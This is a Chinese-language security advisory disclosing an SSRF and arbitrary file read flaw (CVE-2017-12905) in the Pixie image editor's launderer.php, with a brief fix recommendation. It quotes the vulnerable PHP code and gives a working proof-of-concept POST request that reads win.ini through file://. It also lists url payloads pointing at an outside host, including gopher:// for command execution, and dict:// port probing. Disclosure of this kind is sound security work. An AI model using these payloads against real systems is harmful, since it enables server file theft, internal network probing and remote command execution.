【漏洞预警】pixie 在线图片编辑器全版本存在SSRF漏洞[0day]

BaCde  2416天前

名字:Pixie - Image Editor

系统介绍地址:https://codecanyon.net/item/pixie-image-editor/10721475

官方网站:http://vebto.com

Pixie是一款收费的图片编辑器。pixie编辑器的launderer.php 文件存在SSRF漏洞,同时存在任意文件读取漏洞。该漏洞可以导致用户遭受SSRF攻击和任意文件读取攻击。利用该漏洞可以读取服务器上的任意文件、探测端口信息、甚至可能导致命令执行,从而使攻击者提升权限。

漏洞原理与危害

launderer.php文件未对接收的url参数进行过滤,直接将POST请求的参数代入了网页请求操作,这里我们就可以通过修改url参数来指向任意网址。漏洞代码如下:

if (isset($_POST['url'])) {
    $url = $_POST['url'];
    $mime = pathinfo($url, PATHINFO_EXTENSION);

    if (function_exists('curl_version')) {
        $handle = curl_init();
            curl_setopt($handle, CURLOPT_URL, $url);
            curl_setopt($handle, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($handle, CURLOPT_SSL_VERIFYPEER, false);

            $data = curl_exec($handle);

            curl_close($handle);
    } else {
        $data = file_get_contents($url);
    }

    $imageData = base64_encode($data);
    $formatted = 'data: '.$mime.';base64,'.$imageData;

    echo $formatted;
}   

以上代码中首先判断url参数是否赋值,然后将POST传递的url参数赋给url变量,接下来判断是否支持curl相关方法,如果不支持则选择使用file_get_contents来实现获取网页的方法。最后根据请求返回的内容经过base64编码,调用echo方法将内容输出。

要想成功利用该漏洞,php.ini文件中的allow_url_fopen选项必须启用,在php4.0.4以后版本可用,默认是开启的。除此之外,在支持curl相关函数支持的情况下,我们可以使用gopher,tftp,http,https,dict,ldap,file,imap,pop3,smtp,telnet等协议。在不支持的情况下将只可以使用http,https,ftp,file协议。

攻击者利用以上漏洞实现文件读取,内网信息探测(端口,web服务,ftp服务等),结合redis,memcached等可实现任意命令执行等危害。

受影响版本

目前亲测,pixie1.4,1.7版本存在问题。 目前根据官方网站提供的demo脚本,其php文件可以被下载,下载后的代码也为存在漏洞的代码。

漏洞poc

使用POST方式,构造url参数,将请求的返回内容去掉data:*;base64,,然后剩下的内容进行base64解码即可看到返回内容,获取相应信息。例如读取windows系统下的win.ini文件。

POST /pixie/launderer.php HTTP/1.1
Host: 127.0.0.1:8989
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Connection: close
Upgrade-Insecure-Requests: 1

url=file:///c:/windows/win.ini

2222.jpg

访问http网站信息 url=http://123.test.clogs.ml

访问https网站信息 url=https://www.google.com

访问ftp服务信息 url=ftp://123.test.clogs.ml

以上几种方法为通用的,不管是否支持curl相关函数都可以成功。

在支持curl相关函数时,我们还可以去进行更高危害的利用,如探测端口,执行任意任意命令等。

利用gopher协议执行任意命令 url=gopher://123.test.clogs.ml (记得修改goper利用poc)

我们还可以利用dict协议来探测端口,如:dict://127.0.0.1:3306

除以上意外,还可以利用imap,smpt,pop3,tftp,telnet协议实现更多方式攻击。

漏洞影响

目前在fofa系统中可以查看到有30多个系统使用。其中nike海外某分站,越南某购物网站,全球排名15万的网站,在德国本国排名前1万的网站均有使用该系统。

CVE编号

CVE-2017-12905

修复建议

1、对url参数进行过滤,限制相关协议

 白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-大数据安全协作平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

最新评论

roy  :  CVE-2017-12905, 这么牛
2383天前 回复
昵称
邮箱
提交评论